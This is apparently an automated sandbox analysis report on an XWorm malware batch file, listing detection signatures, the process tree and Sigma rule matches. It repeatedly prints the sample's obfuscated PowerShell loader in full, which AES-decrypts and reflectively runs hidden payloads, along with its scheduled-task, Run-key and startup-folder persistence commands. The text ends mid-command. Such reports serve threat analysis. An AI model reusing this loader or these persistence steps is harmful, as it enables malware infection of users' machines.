Edit tour

Windows Analysis Report
Pollosappnuevo.bat

Overview

General Information

Sample name:	Pollosappnuevo.bat
Analysis ID:	1497356
MD5:	536ac91b5fe6a53fd85f5d7b609dc591
SHA1:	5fb565c1bec3e386642e921c34ea365fbcb07127
SHA256:	ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Powershell decode and execute

Yara detected XWorm

.NET source code contains a sample name check

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Bypasses PowerShell execution policy

Loading BitLocker PowerShell Module

Powershell drops PE file

Powershell is started from unusual location (likely to bypass HIPS)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Gzip Archive Decode Via PowerShell

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7752 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pollosappnuevo.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7844 cmdline: net file MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7868 cmdline: C:\Windows\system32\net1 file MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

powershell.exe (PID: 7900 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8092 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_616_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\startup_str_616.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 3168 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5692 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\startup_str_616.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 1172 cmdline: net file MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 6320 cmdline: C:\Windows\system32\net1 file MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

powershell.exe (PID: 5264 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 7812 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

e45iasd.exe (PID: 1528 cmdline: C:\Users\user\AppData\Local\Temp\e45iasd.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

e45iasd.exe (PID: 2524 cmdline: "C:\Users\user\AppData\Local\Temp\e45iasd.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

e45iasd.exe (PID: 4020 cmdline: "C:\Users\user\AppData\Local\Temp\e45iasd.exe" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_XWorm_1	Yara detected XWorm	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7900.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_5264.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose();

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\e45iasd.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5264, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e45iasd

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose();

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Source: File created

Author: Christopher Peacock '@securepeacock', SCYTHE: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5264, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7900, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , ProcessId: 3168, ProcessName: wscript.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7900, TargetFilename: C:\Users\user\AppData\Roaming\startup_str_616.bat

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose();

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1124, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 